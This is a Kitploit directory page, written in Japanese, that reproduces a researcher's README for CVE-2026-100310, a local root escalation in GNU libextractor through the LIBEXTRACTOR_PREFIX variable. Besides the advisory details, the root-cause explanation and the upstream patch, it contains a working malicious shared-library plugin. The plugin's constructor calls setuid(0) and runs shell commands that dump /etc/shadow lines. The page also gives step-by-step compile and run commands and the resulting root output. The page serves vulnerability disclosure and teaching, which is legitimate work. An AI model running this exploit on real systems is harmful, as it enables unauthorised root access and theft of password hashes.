Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
libextractor-privesc — CVE-2026-100310の概念実証。GNU libextractor ≤1.15におけるLIBEXTRACTOR_PREFIXの信頼できない検索パスを悪用したローカル権限昇格であり、エクスプロイトコードとパッチ分析を含む。 | Kitploit
ツール/GitHubGitHub/haitam-lazaar/libextractor-privesc
特権昇格脆弱性分析エクスプロイト学習と教育ペイロード開発バイナリエクスプロイト
GitHubhaitam-lazaar/libextractor-privesc

libextractor-privesc

CVE-2026-100310の概念実証。GNU libextractor ≤1.15におけるLIBEXTRACTOR_PREFIXの信頼できない検索パスを悪用したローカル権限昇格であり、エクスプロイトコードとパッチ分析を含む。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
110時間9分前未レビュー

CVE-2026-100310: LIBEXTRACTOR_PREFIX を介した GNU libextractor の権限昇格

概要

GNU libextractor のプラグイン読み込み機構は、LIBEXTRACTOR_PREFIX 環境変数を使用して共有ライブラリ(.so プラグイン)を読み込む場所を決定します。secure_getenv() ではなく getenv() を使用しているため、プロセスが昇格した権限で実行されている場合でもこの環境変数は除去されません。攻撃者は LIBEXTRACTOR_PREFIX を悪意のあるディレクトリに設定し、libextractor プラグインを読み込む任意のアプリケーションに任意のコードを実行させることができます。

主な影響: root へのローカル権限昇格(LPE)。

項目値
CVECVE-2026-100310
製品GNU libextractor
影響を受けるバージョン>= 0, < 1.16
修正バージョン1.16
CVSS 4.07.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
深刻度HIGH
CWECWE-426 (信頼できない検索パス)
攻撃ベクトルローカル
必要な権限低
ユーザー操作なし
CNAVulnCheck
研究者Haitam Lazaar

注記: この脆弱性がローカル権限昇格を引き起こすには、管理者が libextractor にリンクするバイナリに setuid ビットを設定している必要があります。libextractor 自体には setuid バイナリは同梱されていませんが、このライブラリを動的にリンクし、環境を手動でサニタイズしていない特権プロセスやシステムデーモンは完全な侵害に対して脆弱です。

影響を受けるソフトウェア

  • GNU libextractor ≤ 1.15
  • libextractor にリンクする任意の setuid バイナリまたは特権デーモン

概念実証(デモ)

権限昇格デモ

上記のアニメーションはエクスプロイトを実演しています。攻撃者は悪意のある共有ライブラリ(evil_plugin.c)をコンパイルし、/tmp/evil_plugins に配置します。libextractor を使用する setuid バイナリを実行し、コマンドの前に LIBEXTRACTOR_PREFIX=/tmp/evil_plugins を付けることで、動的リンカは昇格した権限で悪意のあるプラグインを読み込みます。これにより即座に root として任意のコマンドが実行され、id の出力と制限された /etc/shadow ファイルが /tmp/privesc_proof に書き込まれることで実証されます。

攻撃シナリオとエクスプロイト

この脆弱性は主に LIBEXTRACTOR_PREFIX 環境変数を悪用することで引き起こされます。

(注記: libextractor には /proc/PID/maps や書き込み可能な PATH ディレクトリを使用する二次的な安全でないフォールバックも含まれていますが、環境変数の注入が最も直接的で信頼性の高い攻撃ベクトルです)。

概念実証コード

root@kitploit:~
/*
 * evil_plugin.c — 権限昇格用の悪意のある libextractor プラグイン
 * コンパイル: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * ディレクトリに配置し、LIBEXTRACTOR_PREFIX をそのディレクトリに設定します。
 * 任意の setuid アプリケーションが OLE2 プラグインを読み込むと、このコンストラクタは
 * 完全な root (uid=0, gid=0) に昇格し、任意のコマンドを実行します。
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* 昇格: euid=0 により setuid(0) が可能となり、実 uid=0 に設定される */
    setuid(0);
    setgid(0);

    /* 完全な root として実行中 — シェルコマンドが機能する */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

エクスプロイトの実行

Ubuntu 24.04 と libextractor 1.14 でテスト済み:

root@kitploit:~
# 1. 悪意のあるプラグインをコンパイル
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. 設定ミスのある (setuid) ターゲットバイナリをシミュレート
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. 非特権ユーザーとしてエクスプロイトを実行
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

検証(完全な root)

root@kitploit:~
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

根本原因

src/main/extractor_plugpath.c 内の関数 get_installation_paths() は標準の getenv() を呼び出しています:

root@kitploit:~
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

secure_getenv() を使用していないため、バイナリが昇格した権限で実行された場合でも動的リンカはこの変数を除去しません(LD_PRELOAD や LD_LIBRARY_PATH とは異なります)。その後 lt_dlopenadvise() は攻撃者が制御するパスから libextractor_<name>.so を盲目的に読み込みます。

公式パッチ(libextractor 1.16)

メンテナはバージョン 1.16 で getenv() を secure_getenv() に置き換えることでこれを修正しました。secure_getenv() はプロセスが昇格した権限で実行されている場合(euid != uid)、NULL を返します。

root@kitploit:~
-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))

参考情報

  • CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-100310
  • VulnCheck アドバイザリ: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.16-privilege-escalation-via-libextractor-prefix
  • アップストリームパッチコミット: https://git.gnunet.org/gnunet/libextractor/commit/6edfa653c048800e24a17f7e8cc2bb42659b8d01.html
  • 製品リリース: https://ftp.gnu.org/gnu/libextractor/
  • 製品: https://www.gnu.org/software/libextractor/

クレジット

独立したセキュリティ研究の中で私(Haitam Lazaar)が発見しました。

謝辞

GNU libextractor のメンテナである Christian Grothoff 氏に特別な感謝を捧げます。彼の驚くほど迅速なトリアージ、プロフェッショナルなコミュニケーション、そしてこの監査中に報告された本件およびその他いくつかのメモリ安全性問題を解決するための迅速なパッチ展開(v1.15、v1.16、v1.17)に感謝します。

ライセンス

私の研究は教育および防御目的で提供されています。責任を持って使用してください。

ツールをダウンロード